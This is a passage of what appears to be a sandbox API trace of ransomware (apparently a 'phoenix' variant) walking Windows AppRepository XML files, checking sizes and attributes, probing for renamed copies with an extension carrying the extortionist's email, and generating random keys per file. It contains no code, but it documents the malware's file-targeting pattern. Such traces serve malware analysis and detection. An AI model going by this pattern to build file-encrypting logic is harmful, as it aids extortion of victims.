	[0230.331] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=842) returned 1
	[0230.331] CloseHandle (hObject=0x2f0) returned 1
	[0230.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.331] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.331] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1631) returned 1
	[0230.331] CloseHandle (hObject=0x2f0) returned 1
	[0230.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.332] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.332] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.332] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3393) returned 1
	[0230.332] CloseHandle (hObject=0x2f0) returned 1
	[0230.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.332] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.332] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.332] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.332] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=848) returned 1
	[0230.332] CloseHandle (hObject=0x2f0) returned 1
	[0230.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.333] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.333] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=848) returned 1
	[0230.333] CloseHandle (hObject=0x2f0) returned 1
	[0230.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.333] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.333] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=848) returned 1
	[0230.334] CloseHandle (hObject=0x2f0) returned 1
	[0230.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.334] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.334] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.334] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.334] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15420) returned 1
	[0230.334] CloseHandle (hObject=0x2f0) returned 1
	[0230.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.334] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.334] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.335] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.335] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=17978) returned 1
	[0230.335] CloseHandle (hObject=0x2f0) returned 1
	[0230.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.335] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.335] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.335] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.335] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=27290) returned 1
	[0230.335] CloseHandle (hObject=0x2f0) returned 1
	[0230.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.336] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.336] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.336] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.336] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=849) returned 1
	[0230.336] CloseHandle (hObject=0x2f0) returned 1
	[0230.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.336] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunemusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.336] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.336] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.337] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=851) returned 1
	[0230.337] CloseHandle (hObject=0x2f0) returned 1
	[0230.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.337] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.337] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.337] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.337] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=851) returned 1
	[0230.338] CloseHandle (hObject=0x2f0) returned 1
	[0230.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.338] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.338] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.338] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.338] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=851) returned 1
	[0230.338] CloseHandle (hObject=0x2f0) returned 1
	[0230.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
